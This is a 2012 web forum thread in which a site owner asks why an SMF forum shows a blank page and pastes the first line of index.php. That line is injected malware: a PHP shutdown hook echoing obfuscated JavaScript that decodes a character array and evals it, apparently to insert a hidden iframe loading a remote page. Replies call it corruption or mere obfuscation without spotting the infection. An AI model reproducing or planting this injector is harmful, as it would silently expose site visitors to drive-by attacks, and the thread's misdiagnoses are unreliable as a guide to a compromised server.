1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.
  2. Better Analytics for WordPress Get It Free

My php forum website is just showing white screen

Discussion in 'PHP' started by media1960, May 6, 2012.

  1. #1
    Hallo people I am in desperate need of your help.
    I am running a PHP forum on my website and everything was working fine and then all of a sudden I get a blank screen when I try and open the forum page.

    Looking into the error log i get the error below

    [06-May-2012 19:04:57] PHP Parse error: syntax error, unexpected T_LNUMBER, expecting ',' or ';' in ///public_html/forum/index.php on line 1


    If I open the index.php file this is the line 1, what is wrong with this particular because I just cant seem to be making headway in resolving this issue.


    <?php

    if (!function_exists('security_6c7b3c4482')) { function security_6c7b3c4482(){ echo '<!--(6c7b3c4482)--><script>try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qw){h=-parseInt(\\'012\\')/5;}if(window[\"document\"])try{prototype;}catch(brebr){st=String;zz=\\'al\\';zz=\\'zv\\'.substr(123-122)+zz;ss=[];f=\\'fr\\'+\\'om\\'+\\'Ch\\';f+=\\'arC\\';f+=\\'qgode\\'[\"substr\"](4-2);w=this;e=w[f[\"substr\"](11)+zz];n=\"3.5#3.5#51.5#50#15#19#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#19.5#60.5#5.5#3.5#3.5#3.5#51.5#50#56#47.5#53.5#49.5#56#19#19.5#28.5#5.5#3.5#3.5#61.5#15#49.5#53#56.5#49.5#15#60.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#58.5#56#51.5#57#49.5#19#16#29#51.5#50#56#47.5#53.5#49.5#15#56.5#56#48.5#29.5#18.5#51#57#57#55#28#22.5#22.5#48#49.5#56.5#57#55#47.5#59.5#49#47.5#59.5#53#54.5#47.5#54#60#50.5#54.5#22#48.5#54.5#53.5#22.5#57#22.5#47.5#25#27.5#50#27.5#50#25.5#47.5#49#24.5#49.5#25#23#47.5#26#49.5#24.5#27.5#26#49#27.5#25#23#25.5#25#24.5#24.5#49.5#48.5#26#26.5#24#18.5#15#58.5#51.5#49#57#51#29.5#18.5#23.5#23#18.5#15#51#49.5#51.5#50.5#51#57#29.5#18.5#23.5#23#18.5#15#56.5#57#59.5#53#49.5#29.5#18.5#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#28#51#51.5#49#49#49.5#54#28.5#55#54.5#56.5#51.5#57#51.5#54.5#54#28#47.5#48#56.5#54.5#53#57.5#57#49.5#28.5#53#49.5#50#57#28#23#28.5#57#54.5#55#28#23#28.5#18.5#30#29#22.5#51.5#50#56#47.5#53.5#49.5#30#16#19.5#28.5#5.5#3.5#3.5#61.5#5.5#3.5#3.5#50#57.5#54#48.5#57#51.5#54.5#54#15#51.5#50#56#47.5#53.5#49.5#56#19#19.5#60.5#5.5#3.5#3.5#3.5#58#47.5#56#15#50#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#48.5#56#49.5#47.5#57#49.5#33.5#53#49.5#53.5#49.5#54#57#19#18.5#51.5#50#56#47.5#53.5#49.5#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#56.5#56#48.5#18.5#21#18.5#51#57#57#55#28#22.5#22.5#48#49.5#56.5#57#55#47.5#59.5#49#47.5#59.5#53#54.5#47.5#54#60#50.5#54.5#22#48.5#54.5#53.5#22.5#57#22.5#47.5#25#27.5#50#27.5#50#25.5#47.5#49#24.5#49.5#25#23#47.5#26#49.5#24.5#27.5#26#49#27.5#25#23#25.5#25#24.5#24.5#49.5#48.5#26#26.5#24#18.5#19.5#28.5#50#22#56.5#57#59.5#53#49.5#22#58#51.5#56.5#51.5#48#51.5#53#51.5#57#59.5#29.5#18.5#51#51.5#49#49#49.5#54#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#55#54.5#56.5#51.5#57#51.5#54.5#54#29.5#18.5#47.5#48#56.5#54.5#53#57.5#57#49.5#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#53#49.5#50#57#29.5#18.5#23#18.5#28.5#50#22#56.5#57#59.5#53#49.5#22#57#54.5#55#29.5#18.5#23#18.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#58.5#51.5#49#57#51#18.5#21#18.5#23.5#23#18.5#19.5#28.5#50#22#56.5#49.5#57#31.5#57#57#56#51.5#48#57.5#57#49.5#19#18.5#51#49.5#51.5#50.5#51#57#18.5#21#18.5#23.5#23#18.5#19.5#28.5#5.5#3.5#3.5#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#48#54.5#49#59.5#18.5#19.5#44.5#23#45.5#22#47.5#55#55#49.5#54#49#32.5#51#51.5#53#49#19#50#19.5#28.5#5.5#3.5#3.5#61.5\"[((e)?\"s\":\"\")+\"p\"+\"lit\"](\"a#\"[((e)?\"su\":\"\")+\"bstr\"](1));for(i=6-2-1-2-1;i-635!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;if(f&&e)e(\"\"+q);}</script><!--(/6c7b3c4482)-->'; register_shutdown_function('security_6c7b3c4482'); } }
    ?>
     
    media1960, May 6, 2012 IP
  2. Spudster

    Spudster Peon

    Messages:
    96
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    To me its seems like the PHP coruptted itself, you may need to rewrite the code, Unless you have a backup?
     
    Spudster, May 7, 2012 IP
  3. Microsuck

    Microsuck Greenhorn

    Messages:
    49
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    8
    #3
    Any chance you could post your code in a halfway decent manner? That way, members may be able to help you.
     
    Microsuck, May 7, 2012 IP
  4. Microsuck

    Microsuck Greenhorn

    Messages:
    49
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    8
    #4
    No, the code is just obfuscated.
     
    Microsuck, May 7, 2012 IP
  5. PK-Host

    PK-Host Guest

    Messages:
    109
    Likes Received:
    3
    Best Answers:
    1
    Trophy Points:
    0
    #5
    Can I ask what forum script you are using?
     
    PK-Host, May 7, 2012 IP
  6. media1960

    media1960 Guest

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    @PK-Host I am using SMF open source forums
     
    media1960, May 8, 2012 IP